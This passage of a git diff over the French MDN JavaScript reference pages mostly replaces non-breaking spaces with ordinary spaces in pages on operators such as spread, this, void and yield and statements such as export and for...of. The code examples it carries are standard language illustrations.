{propriété_unique : 1}, truc = {propriété_unique : 2}, objet = {}; objet[toto] = 'valeur'; console.log(objet[truc]); ``` -Ce code affichera également « valeur », étant donné que `toto` et `truc` seront convertis en la même chaîne de caractères. Dans le cas du moteur JavaScript [SpiderMonkey](fr/SpiderMonkey), cette chaîne serait `"['object Object']"`. +Ce code affichera également « valeur », étant donné que `toto` et `truc` seront convertis en la même chaîne de caractères. Dans le cas du moteur JavaScript [SpiderMonkey](fr/SpiderMonkey), cette chaîne serait `"['object Object']"`. ### Liaison de méthodes -Une méthode n'est pas liée à l'objet dont elle est une méthode. En particulier, `this` n'est pas défini dans une méthode, c'est-à-dire que `this` ne fait pas nécessairement référence à un objet contenant la méthode. En réalité, `this` est « passé » par l'appel de la fonction. +Une méthode n'est pas liée à l'objet dont elle est une méthode. En particulier, `this` n'est pas défini dans une méthode, c'est-à-dire que `this` ne fait pas nécessairement référence à un objet contenant la méthode. En réalité, `this` est « passé » par l'appel de la fonction. Pour plus d'informations, consultez la page sur [l'opérateur `this` et les liaisons de méthodes](/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this#Liaison_de_m.C3.A9thodes). @@ -107,7 +107,7 @@ Les nouveaux venus en JavaScript font souvent l'erreur d'utiliser {{jsxref("eval x = eval('document.formulaire.' + controle + '.value'); ``` -`eval` est lente et insécurisée et devrait être évitée dès que possible. Il est préférable d'utiliser la notation avec crochets : +`eval` est lente et insécurisée et devrait être évitée dès que possible. Il est préférable d'utiliser la notation avec crochets : ```js x = document.formulaire[controle].value; diff --git a/files/fr/web/javascript/reference/operators/spread_syntax/index.md b/files/fr/web/javascript/reference/operators/spread_syntax/index.md index cfc56cf9a8..d64bdf1eb1 100644 --- a/files/fr/web/javascript/reference/operators/spread_syntax/index.md +++ b/files/fr/web/javascript/reference/operators/spread_syntax/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition --- {{jsSidebar("Operators")}} -La **syntaxe de décomposition** permet d'étendre un itérable (par exemple une expression de tableau ou une chaîne de caractères) en lieu et place de plusieurs arguments (pour les appels de fonctions) ou de plusieurs éléments (pour les littéraux de tableaux) ou de paires clés-valeurs (pour les littéraux d'objets). +La **syntaxe de décomposition** permet d'étendre un itérable (par exemple une expression de tableau ou une chaîne de caractères) en lieu et place de plusieurs arguments (pour les appels de fonctions) ou de plusieurs éléments (pour les littéraux de tableaux) ou de paires clés-valeurs (pour les littéraux d'objets). {{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}} @@ -124,7 +124,7 @@ console.log(arr2); // [1, 2, 3, 4] console.log(arr); // [1, 2, 3] (inchangé) ``` -> **Note :** Lorsqu'on utilise la décomposition pour copier un tableau, celle-ci ne s'applique qu'au premier niveau de profondeur. Par conséquent, il peut ne pas convenir pour la copie des tableaux multidimensionnels (des tableaux imbriqués dans d'autres tableaux) comme le montre l’exemple suivant (il en va de même avec {{jsxref("Object.assign()")}} et la décomposition). +> **Note :** Lorsqu'on utilise la décomposition pour copier un tableau, celle-ci ne s'applique qu'au premier niveau de profondeur. Par conséquent, il peut ne pas convenir pour la copie des tableaux multidimensionnels (des tableaux imbriqués dans d'autres tableaux) comme le montre l’exemple suivant (il en va de même avec {{jsxref("Object.assign()")}} et la décomposition). ```js var a = [[1], [2], [3]]; diff --git a/files/fr/web/javascript/reference/operators/this/index.md b/files/fr/web/javascript/reference/operators/this/index.md index ef563b523c..8652da0e85 100644 --- a/files/fr/web/javascript/reference/operators/this/index.md +++ b/files/fr/web/javascript/reference/operators/this/index.md @@ -99,7 +99,7 @@ whatsThis.call(obj); // "Toto" whatsThis.apply(obj); // "Toto" ``` -Lorsque le mot-clé `this` est utilisé dans le corps d'une fonction, il est possible d'utiliser les méthodes {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} pour lier `this` à un objet donné. Toutes les fonctions héritent de ces méthodes grâce à {{jsxref("Function.prototype")}}. +Lorsque le mot-clé `this` est utilisé dans le corps d'une fonction, il est possible d'utiliser les méthodes {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} pour lier `this` à un objet donné. Toutes les fonctions héritent de ces méthodes grâce à {{jsxref("Function.prototype")}}. ```js function ajout(c, d){ diff --git a/files/fr/web/javascript/reference/operators/void/index.md b/files/fr/web/javascript/reference/operators/void/index.md index 3b87959b55..a83cd56945 100644 --- a/files/fr/web/javascript/reference/operators/void/index.md +++ b/files/fr/web/javascript/reference/operators/void/index.md @@ -55,11 +55,11 @@ void function iife() { Lorsqu'un navigateur utilise une URI avec `javascript:`, le code de l'URI est évalué et le résultat remplace le contenu de la page, sauf si la valeur renvoyée vaut {{jsxref("Objets_globaux/undefined","undefined")}}. L'utilisateur `void` peut alors être utilisé pour renvoyer cette valeur. Par exemple : <a href="javascript:void(0);"> - Cliquer ici (sans effet) + Cliquer ici (sans effet) </a> <a href="javascript:void(document.body.style.backgroundColor='green');"> - Cliquer ici pour rendre le fond vert + Cliquer ici pour rendre le fond vert </a> Malgré cela, il n'est pas recommandé d'utiliser le pseudo-protocole `javascript:`, on lui préférera des méthodes moins risquées et moins intrusives comme les gestionnaires d'événements. @@ -80,10 +80,10 @@ Ainsi, la valeur de retour de la fonction `faireQQc` sera bloquée par `void` et | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ---------------------------------------------------- | -| {{SpecName('ESDraft', '#sec-void-operator', 'Opérateur void')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-void-operator', 'L\'opérateur void')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-11.4.2', 'L\'opérateur void')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES3', '#sec-11.4.2', 'L\'opérateur void')}} | {{Spec2('ES3')}} | | +| {{SpecName('ESDraft', '#sec-void-operator', 'Opérateur void')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-void-operator', 'L\'opérateur void')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-11.4.2', 'L\'opérateur void')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES3', '#sec-11.4.2', 'L\'opérateur void')}} | {{Spec2('ES3')}} | | | {{SpecName('ES1', '#sec-11.4.2', 'L\'opérateur void')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1 | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/yield/index.md b/files/fr/web/javascript/reference/operators/yield/index.md index da998c2c0c..9e18bcad27 100644 --- a/files/fr/web/javascript/reference/operators/yield/index.md +++ b/files/fr/web/javascript/reference/operators/yield/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Opérateurs/yield --- {{jsSidebar("Operators")}} -Le mot-clé `yield` est utilisé pour suspendre et reprendre une fonction génératrice ({{jsxref("Statements/function*", "function*")}} ou [une fonction génératrice historique](/fr/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function)). +Le mot-clé `yield` est utilisé pour suspendre et reprendre une fonction génératrice ({{jsxref("Statements/function*", "function*")}} ou [une fonction génératrice historique](/fr/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function)). {{EmbedInteractiveExample("pages/js/expressions-yield.html")}} @@ -21,32 +21,32 @@ Le mot-clé `yield` est utilisé pour suspendre et reprendre une fonction gén [[rv =]] yield [[expression]]; - `expression` - - : Définit la valeur à retourner depuis la fonction génératrice via [le protocole itérateur](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérateur_»). Si omise, `undefined` sera retournée à la place. + - : Définit la valeur à retourner depuis la fonction génératrice via [le protocole itérateur](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérateur_»). Si omise, `undefined` sera retournée à la place. - `rv` - - : Retourne la valeur optionnelle passée à la méthode `next()` pour reprendre son exécution. + - : Retourne la valeur optionnelle passée à la méthode `next()` pour reprendre son exécution. ## Description -Le mot-clé `yield` suspend une fonction génératrice et la valeur de l'expression suivant le mot-clé `yield` est retournée à l'appelant du générateur. Il peut être vu comme une version générateur du mot-clé `return`. +Le mot-clé `yield` suspend une fonction génératrice et la valeur de l'expression suivant le mot-clé `yield` est retournée à l'appelant du générateur. Il peut être vu comme une version générateur du mot-clé `return`. Le mot-clé `yield` ne peut être appelé qu'à partir de la fonction génératrice qui le contient. Il ne peut pas être utilisé depuis des fonctions imbriquées ou avec des _callbacks_. -Le mot-clé `yield` retourne en fait un objet `IteratorResult` ayant deux propriétés, `value` et `done.` La propriété `value` est le résultat de l'évaluation de l'expression `yield`, et `done` est `false`, indiquant que la fonction génératrice n'est pas complètement terminée. +Le mot-clé `yield` retourne en fait un objet `IteratorResult` ayant deux propriétés, `value` et `done.` La propriété `value` est le résultat de l'évaluation de l'expression `yield`, et `done` est `false`, indiquant que la fonction génératrice n'est pas complètement terminée. -Une fois suspendue sur une expression `yield`, l'exécution du code du générateur reste suspendue jusqu'à ce que la méthode `next()` du générateur soit appelée. Chaque fois que la méthode `next()` du générateur est appelée, le générateur reprend l'exécution et s'exécute jusqu'à ce qu'elle atteigne l'une des situations suivantes : +Une fois suspendue sur une expression `yield`, l'exécution du code du générateur reste suspendue jusqu'à ce que la méthode `next()` du générateur soit appelée. Chaque fois que la méthode `next()` du générateur est appelée, le générateur reprend l'exécution et s'exécute jusqu'à ce qu'elle atteigne l'une des situations suivantes : -- un `yield`, ce qui provoque une nouvelle pause du générateur et retourne la nouvelle valeur du générateur ; la prochaine fois que `next()` sera appelé, l'exécution reprendra à l'instruction immédiatement après le `yield` ; -- {{jsxref ("Statements/throw", "throw")}} est utilisé pour déclencher une exception depuis le générateur ; cela arrête entièrement l'exécution du générateur et l'exécution reprend dans l'appelant, comme c'est normalement le cas lorsqu'une exception est déclenchée ; -- la fin de la fonction génératrice est atteinte ; dans ce cas, l'exécution du générateur se termine et un `IteratorResult` est retourné à l'appelant, dans lequel la valeur est {{jsxref ("undefined")}} et `done` est `true` ; -- une instruction {{jsxref ("Statements/return", "return")}} est atteinte ; dans ce cas, l'exécution du générateur se termine et un `IteratorResult` est retourné à l'appelant dans lequel la `value` est la valeur spécifiée par l'instruction `return` et `done` vaut `true`. +- un `yield`, ce qui provoque une nouvelle pause du générateur et retourne la nouvelle valeur du générateur ; la prochaine fois que `next()` sera appelé, l'exécution reprendra à l'instruction immédiatement après le `yield` ; +- {{jsxref ("Statements/throw", "throw")}} est utilisé pour déclencher une exception depuis le générateur ; cela arrête entièrement l'exécution du générateur et l'exécution reprend dans l'appelant, comme c'est normalement le cas lorsqu'une exception est déclenchée ; +- la fin de la fonction génératrice est atteinte ; dans ce cas, l'exécution du générateur se termine et un `IteratorResult` est retourné à l'appelant, dans lequel la valeur est {{jsxref ("undefined")}} et `done` est `true` ; +- une instruction {{jsxref ("Statements/return", "return")}} est atteinte ; dans ce cas, l'exécution du générateur se termine et un `IteratorResult` est retourné à l'appelant dans lequel la `value` est la valeur spécifiée par l'instruction `return` et `done` vaut `true`. -Si une valeur optionnelle est passée à la méthode `next()` du générateur, cette valeur devient la valeur retournée par l'opération `yield` en cours du générateur. +Si une valeur optionnelle est passée à la méthode `next()` du générateur, cette valeur devient la valeur retournée par l'opération `yield` en cours du générateur. -Entre le chemin de code du générateur, ses opérateurs `yield`, et la possibilité de spécifier une nouvelle valeur de départ en la passant à {{jsxref ("Generator.prototype.next()")}}, les générateurs offrent énormément de puissance et de contrôle. +Entre le chemin de code du générateur, ses opérateurs `yield`, et la possibilité de spécifier une nouvelle valeur de départ en la passant à {{jsxref ("Generator.prototype.next()")}}, les générateurs offrent énormément de puissance et de contrôle. ## Exemples -Le code suivant est la déclaration d'un exemple de fonction génératrice : +Le code suivant est la déclaration d'un exemple de fonction génératrice : function* compteVentesPommes () { var listeVentes = [3, 7, 5]; @@ -55,7 +55,7 @@ Le code suivant est la déclaration d'un exemple de fonction génératrice : } } -Une fois qu'une fonction génératrice est définie, elle peut être utilisée en construisant un itérateur comme indiqué. +Une fois qu'une fonction génératrice est définie, elle peut être utilisée en construisant un itérateur comme indiqué. var magasinPommes = compteVentesPommes(); // Générateur { } console.log(magasinPommes.next()); // { value: 3, done: false } @@ -74,12 +74,12 @@ Une fois qu'une fonction génératrice est définie, elle peut être utilisée {{Compat("javascript.operators.yield")}} -## Notes spécifiques à Firefox +## Notes spécifiques à Firefox -- À partir de Gecko 29 {{geckoRelease(29)}}, une fonction génératrice terminée ne déclenche plus une {{jsxref("TypeError")}} "generator has already finished". À la place, elle renvoie un objet `IteratorResult` tel que `{ value: undefined, done: true }` ({{bug(958951)}}). +- À partir de Gecko 29 {{geckoRelease(29)}}, une fonction génératrice terminée ne déclenche plus une {{jsxref("TypeError")}} "generator has already finished". À la place, elle renvoie un objet `IteratorResult` tel que `{ value: undefined, done: true }` ({{bug(958951)}}). - À partir de Gecko 33 {{geckoRelease(33)}}, l'analyse de l'expression `yield` a été mise à jour afin d'être conforme aux spécifications ES2015 ({{bug(981599)}}): - - L'expression après le mot-clé `yield` est optionnelle et l'omettre ne déclenche plus une {{jsxref("SyntaxError")}} : `function* compteVentesPommes() { yield; }` + - L'expression après le mot-clé `yield` est optionnelle et l'omettre ne déclenche plus une {{jsxref("SyntaxError")}} : `function* compteVentesPommes() { yield; }` ## Voir aussi diff --git a/files/fr/web/javascript/reference/operators/yield_star_/index.md b/files/fr/web/javascript/reference/operators/yield_star_/index.md index 86ad5717d8..1a423260fa 100644 --- a/files/fr/web/javascript/reference/operators/yield_star_/index.md +++ b/files/fr/web/javascript/reference/operators/yield_star_/index.md @@ -113,7 +113,7 @@ console.log(résultat); // "toto" | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/async_function/index.md b/files/fr/web/javascript/reference/statements/async_function/index.md index f60c23b0e2..407b695987 100644 --- a/files/fr/web/javascript/reference/statements/async_function/index.md +++ b/files/fr/web/javascript/reference/statements/async_function/index.md @@ -143,9 +143,9 @@ setTimeout(parallelPromise, 13000); // identique à parallel Dans `sequentialStart`, l'exécution est arrêtée pendant deux secondes avant le premier `await` puis encore une autre seconde avant le deuxième `await`. Le deuxième minuteur n'est pas créé tant que le premier n'est pas écoulé. Le code s'exécute donc au moins en 3 secondes. Avec `concurrentStart`, les deux minuteurs sont créés puis attendus derrière un `await` Les minuteurs sont exécutés de façon concurrente. L'ensemble du code se termine donc en au moins 2 secondes plutôt qu'en 3 secondes. -Toutefois, les appels utilisant `await` sont exécutés séquentiellement et la deuxième instruction avec `await` attendra que la première ait été traitée. Le minuteur le plus rapide est donc créé juste après le premier. +Toutefois, les appels utilisant `await` sont exécutés séquentiellement et la deuxième instruction avec `await` attendra que la première ait été traitée. Le minuteur le plus rapide est donc créé juste après le premier. -Si on souhaite avoir deux tâches qui s'exécutent réellement en parallèle, on pourra utiliser `await Promise.all([job1(), job2()])` comme illustré ci-avant avec `parallel`. +Si on souhaite avoir deux tâches qui s'exécutent réellement en parallèle, on pourra utiliser `await Promise.all([job1(), job2()])` comme illustré ci-avant avec `parallel`. #### `async`/`await`, `Promise.prototype.then()` et la gestion des erreurs diff --git a/files/fr/web/javascript/reference/statements/break/index.md b/files/fr/web/javascript/reference/statements/break/index.md index 56826770a7..99846c4155 100644 --- a/files/fr/web/javascript/reference/statements/break/index.md +++ b/files/fr/web/javascript/reference/statements/break/index.md @@ -115,9 +115,9 @@ bloc_1: { | ---------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Version non étiquetée. | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Version étiquetée ajoutée. | -| {{SpecName('ES5.1', '#sec-12.8', 'instruction break')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-break-statement', 'instruction break')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-12.8', 'instruction break')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-break-statement', 'instruction break')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/class/index.md b/files/fr/web/javascript/reference/statements/class/index.md index 51b852a022..c7ebe77032 100644 --- a/files/fr/web/javascript/reference/statements/class/index.md +++ b/files/fr/web/javascript/reference/statements/class/index.md @@ -70,9 +70,9 @@ class Carré extends Polygone { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-class-definitions', 'Définitions de classe')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2016')}} | | -| {{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2017')}} | | -| {{SpecName('ESDraft', '#sec-class-definitions', 'Définitions de classe')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2016')}} | | +| {{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2017')}} | | +| {{SpecName('ESDraft', '#sec-class-definitions', 'Définitions de classe')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/continue/index.md b/files/fr/web/javascript/reference/statements/continue/index.md index f0083f8248..e8219c122f 100644 --- a/files/fr/web/javascript/reference/statements/continue/index.md +++ b/files/fr/web/javascript/reference/statements/continue/index.md @@ -116,9 +116,9 @@ En utilisant le fragment ci-avant, on aura le résultat suivant : | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ---------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Pas de version étiquetée. | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Ajout de la version étiquetée. | -| {{SpecName('ES5.1', '#sec-12.7', 'instruction continue')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-continue-statement', 'instruction continue')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-continue-statement', 'instruction continue')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-12.7', 'instruction continue')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-continue-statement', 'instruction continue')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-continue-statement', 'instruction continue')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/do...while/index.md b/files/fr/web/javascript/reference/statements/do...while/index.md index 96265c32d8..aabf772ff7 100644 --- a/files/fr/web/javascript/reference/statements/do...while/index.md +++ b/files/fr/web/javascript/reference/statements/do...while/index.md @@ -10,7 +10,7 @@ original_slug: Web/JavaScript/Reference/Instructions/do...while --- {{jsSidebar("Statements")}} -L'instruction **`do...while`** crée une boucle qui exécute une instruction jusqu'à ce qu'une condition de test ne soit plus vérifiée. La condition est testée après que l'instruction soit exécutée, le bloc d'instructions défini dans la boucle est donc exécuté au moins une fois. +L'instruction **`do...while`** crée une boucle qui exécute une instruction jusqu'à ce qu'une condition de test ne soit plus vérifiée. La condition est testée après que l'instruction soit exécutée, le bloc d'instructions défini dans la boucle est donc exécuté au moins une fois. {{EmbedInteractiveExample("pages/js/statement-dowhile.html")}} diff --git a/files/fr/web/javascript/reference/statements/empty/index.md b/files/fr/web/javascript/reference/statements/empty/index.md index 32e9e3fb81..7cd25528f1 100644 --- a/files/fr/web/javascript/reference/statements/empty/index.md +++ b/files/fr/web/javascript/reference/statements/empty/index.md @@ -62,10 +62,10 @@ else | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | -| {{SpecName('ESDraft', '#sec-empty-statement', 'Instruction vide')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-empty-statement', 'instruction vide')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-12.3', 'instruction vide')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES3', '#sec-12.3', 'instruction vide')}} | {{Spec2('ES3')}} | | +| {{SpecName('ESDraft', '#sec-empty-statement', 'Instruction vide')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-empty-statement', 'instruction vide')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-12.3', 'instruction vide')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES3', '#sec-12.3', 'instruction vide')}} | {{Spec2('ES3')}} | | | {{SpecName('ES1', '#sec-12.3', 'instruction vide')}} | {{Spec2('ES1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/export/index.md b/files/fr/web/javascript/reference/statements/export/index.md index 2f8d075abc..51c40aa4b2 100644 --- a/files/fr/web/javascript/reference/statements/export/index.md +++ b/files/fr/web/javascript/reference/statements/export/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Instructions/export --- {{jsSidebar("Statements")}} -L'instruction **`export`** est utilisée lors de la création de modules JavaScript pour exporter des fonctions, des objets ou des valeurs primitives à partir du module, de sorte qu'ils puissent être utilisés par d'autres programmes grâce à l'instruction {{jsxref("Instructions/import", "import")}}. +L'instruction **`export`** est utilisée lors de la création de modules JavaScript pour exporter des fonctions, des objets ou des valeurs primitives à partir du module, de sorte qu'ils puissent être utilisés par d'autres programmes grâce à l'instruction {{jsxref("Instructions/import", "import")}}. Les modules exportés sont interprétés en [mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode) dans tous les cas. L'instruction `export` ne peut pas être utilisée dans les scripts embarqués. @@ -46,11 +46,11 @@ Les modules exportés sont interprétés en [mode strict](/fr/docs/Web/JavaScrip export { default } from …; - `nomN` - - : Identifiant à exporter (afin qu'il puisse être importé via {{jsxref("Statements/import", "import")}} dans un autre script). + - : Identifiant à exporter (afin qu'il puisse être importé via {{jsxref("Statements/import", "import")}} dans un autre script). ## Description -Il existe deux types d'export différents : les exports **nommés** et les exports **par défaut**. Il est possible d'avoir plusieurs exports nommés mais un seul export par défaut. Chaque type correspond à une des syntaxes ci-dessus : +Il existe deux types d'export différents : les exports **nommés** et les exports **par défaut**. Il est possible d'avoir plusieurs exports nommés mais un seul export par défaut. Chaque type correspond à une des syntaxes ci-dessus : - Les exports nommés : @@ -91,7 +91,7 @@ La syntaxe suivante n'exporte pas le défaut depuis le module importé : export * from …; ``` -Si vous avez besoin d'exporter le défaut, écrivez ce qui suit à la place : +Si vous avez besoin d'exporter le défaut, écrivez ce qui suit à la place : ```js export {default} from 'mod'; @@ -119,7 +119,7 @@ import { maFonction, maVariable, maClasse } from 'moduleParent.js'; ### Utilisation d'exports nommés -Dans le module, on pourra utiliser le code suivant : +Dans le module, on pourra utiliser le code suivant : ```js // module "mon-module.js" @@ -130,7 +130,7 @@ const machin = Math.PI + Math.SQRT2; export { cube, machin }; ``` -De cette façon, dans un autre script, on pourra avoir : +De cette façon, dans un autre script, on pourra avoir : ```js import { cube, machin } from 'mon-module'; @@ -152,14 +152,14 @@ export default function cube(x) { } ``` -Alors, dans un autre script, il sera facile d'importer l'export par défaut : +Alors, dans un autre script, il sera facile d'importer l'export par défaut : ```js import cube from './mon-module.js'; console.log(cube(3)); // 27 ``` -Notez qu'il n'est pas possible d'utiliser `var`, `let` ou `const` avec `export default`. +Notez qu'il n'est pas possible d'utiliser `var`, `let` ou `const` avec `export default`. ## Spécifications @@ -176,6 +176,6 @@ Notez qu'il n'est pas possible d'utiliser `var`, `let` ou `const` avec `export - {{jsxref("Instructions/import", "import")}} - [Guide sur les modules JavaScript](/fr/docs/Web/JavaScript/Guide/Modules) -- [ES6 in Depth: Modules](https://hacks.mozilla.org/2015/08/es6-in-depth-modules/), Hacks blog post par Jason Orendorff -- [Livre d'Axel Rauschmayer : "Exploring JS: Modules"](https://exploringjs.com/es6/ch_modules.html) +- [ES6 in Depth: Modules](https://hacks.mozilla.org/2015/08/es6-in-depth-modules/), Hacks blog post par Jason Orendorff +- [Livre d'Axel Rauschmayer : "Exploring JS: Modules"](https://exploringjs.com/es6/ch_modules.html) - [Un billet illustré de Lin Clark, traduit en français, sur les modules](https://tech.mozfr.org/post/2018/04/06/Une-plongee-illustree-dans-les-modules-ECMAScript) diff --git a/files/fr/web/javascript/reference/statements/for...in/index.md b/files/fr/web/javascript/reference/statements/for...in/index.md index bff2b835d6..f32246e82f 100644 --- a/files/fr/web/javascript/reference/statements/for...in/index.md +++ b/files/fr/web/javascript/reference/statements/for...in/index.md @@ -28,7 +28,7 @@ L'**instruction `for...in`** permet d'itérer sur les [propriétés énumérable ## Description -Une boucle `for...in` ne parcourt que les propriétés énumérables et qui ne sont pas des symboles. Les objets qui ont été créés par des constructeurs intégrés comme Array et Object ont hérité de propriétés non énumérables de `Object.prototype` et `String.prototype` comme les méthodes {{jsxref("String.prototype.indexOf","indexOf()")}} du type {{jsxref("String")}} ou {{jsxref("Object.prototype.toString","toString()")}} depuis {{jsxref("Object")}}. La boucle parcourera toutes les propriétés énumérables de l'objet et aussi celles dont il hérite du prototype du constructeur (les propriétés les plus proches de l'objet dans la chaîne des prototypes primeront sur les propriétés des prototypes). +Une boucle `for...in` ne parcourt que les propriétés énumérables et qui ne sont pas des symboles. Les objets qui ont été créés par des constructeurs intégrés comme Array et Object ont hérité de propriétés non énumérables de `Object.prototype` et `String.prototype` comme les méthodes {{jsxref("String.prototype.indexOf","indexOf()")}} du type {{jsxref("String")}} ou {{jsxref("Object.prototype.toString","toString()")}} depuis {{jsxref("Object")}}. La boucle parcourera toutes les propriétés énumérables de l'objet et aussi celles dont il hérite du prototype du constructeur (les propriétés les plus proches de l'objet dans la chaîne des prototypes primeront sur les propriétés des prototypes). ### Les propriétés ajoutées, modifiées ou supprimées diff --git a/files/fr/web/javascript/reference/statements/for...of/index.md b/files/fr/web/javascript/reference/statements/for...of/index.md index dda1d8a5c8..d30ae286b3 100644 --- a/files/fr/web/javascript/reference/statements/for...of/index.md +++ b/files/fr/web/javascript/reference/statements/for...of/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Instructions/for...of --- {{jsSidebar("Statements")}} -L'**instruction `for...of`** permet de créer une boucle {{jsxref("Array")}} qui parcourt un {{jsxref("Les_protocoles_iteration","objet itérable","#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB",1)}} (ce qui inclut les objets {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, l'objet {{jsxref("Fonctions/arguments","arguments")}}, etc.) et qui permet d'exécuter une ou plusieurs instructions pour la valeur de chaque propriété. +L'**instruction `for...of`** permet de créer une boucle {{jsxref("Array")}} qui parcourt un {{jsxref("Les_protocoles_iteration","objet itérable","#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB",1)}} (ce qui inclut les objets {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, l'objet {{jsxref("Fonctions/arguments","arguments")}}, etc.) et qui permet d'exécuter une ou plusieurs instructions pour la valeur de chaque propriété. {{EmbedInteractiveExample("pages/js/statement-forof.html")}} @@ -280,7 +280,7 @@ for (let i of iterable) { } ``` -Cette boucle parcourt les valeurs définies comme itérables par [l'objet itérable](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB) et dans ce cas ce sont les éléments du tableau `3`, `5`, `7` et pas les propriétés de l'objet. +Cette boucle parcourt les valeurs définies comme itérables par [l'objet itérable](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB) et dans ce cas ce sont les éléments du tableau `3`, `5`, `7` et pas les propriétés de l'objet. ### Attention à ne pas réutiliser les générateurs @@ -308,7 +308,7 @@ for (let o of gen){ | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-for-in-and-for-of-statements', 'instruction for...of')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'instruction for...of')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'instruction for...of')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/for/index.md b/files/fr/web/javascript/reference/statements/for/index.md index beb5a287b3..447b1da100 100644 --- a/files/fr/web/javascript/reference/statements/for/index.md +++ b/files/fr/web/javascript/reference/statements/for/index.md @@ -34,7 +34,7 @@ L'instruction **`for`** crée une boucle composée de trois expressions optionne ### Utiliser `for` -L'instruction `for` qui suit débute en déclarant la variable `i` et en l'initialisant à 0. Elle vérifie 